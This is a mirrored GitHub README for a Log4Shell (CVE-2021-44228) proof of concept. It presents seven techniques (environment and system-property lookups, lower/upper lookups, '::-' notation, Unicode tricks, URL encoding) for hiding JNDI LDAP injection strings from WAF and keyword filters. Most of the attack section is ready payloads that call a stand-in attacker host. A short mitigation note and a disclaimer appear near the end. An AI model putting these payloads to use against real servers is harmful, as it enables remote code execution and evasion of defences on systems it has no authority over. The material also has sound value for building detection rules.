Giter VIP home page Giter VIP logo

cve-2021-44228-poc-log4j-bypass-words's Introduction

๐Ÿ“ Description

๐Ÿฑโ€๐Ÿ’ป โœ‚๏ธ ๐Ÿคฌ LOG4J Java exploit - A trick to bypass words blocking patches

CVE-2021-44228 works on:

log4j: 2.0 <= Apache log4j <= 2.14.1

Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.

Windows Defender started to remove .java files that include jndi:ldap:....

Simple attacker script (Possible RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF or developers started to block phrases:

  • "ldap:"
  • "jndi:"

to secure applications.

However, the attacker can bypass it by using one of these techniques:

1. System environment variables

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

From Apache Log4j 2 documentation: ${env:ENV_NAME:-default_value}

If there is no ENV_NAME system environment variable, use text after :-

The attacker can use any name instead of ENV_NAME, but it has to no exists.

On windows, you can check your system environment variables in PowerShell by writing:

dir env:

2. Lower or Upper Lookup

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup The LowerLookup converts the passed in argument to lower case. Presumably the value will be the result of a nested lookup.

${lower:<text>}

Upper Lookup The UpperLookup converts the passed in argument to upper case. Presumably the value will be the result of a nested lookup.

${upper:<text>}

3. "::-" notation

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}

4. Invalid Unicode characters with upper

${jnd${upper:ฤฑ}:ldap://somesitehackerofhell.com/z}

ฤฑ get converted to i

5. System properties

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

If there is no SYS_NAME system property, use text after :-

6. ":-" notation

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}

7. HTML URL Encoding

Replace characters with:

  • } with %7D
  • { with %7B
  • $ with %24

You can read more here HTML URL Encoding Reference

Testing

To test entry you can use:

โœจ Best solution to protect from CVE-2021-44228

Start your server with log4j2.formatMsgNoLookups set to true, or update to log4j-2.15.0-rc1 or later.

Keep it safe!

๐Ÿค Show your support

Give a โญ๏ธ if you liked the content

Thanks to user Whatsec for more bypasses examples

๐Ÿ“ Useful links

โœ”๏ธ Disclaimer

This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author.

I am not an author of CVE-2021-44228 and some bypasses

cve-2021-44228-poc-log4j-bypass-words's People

Contributors

puliczek avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.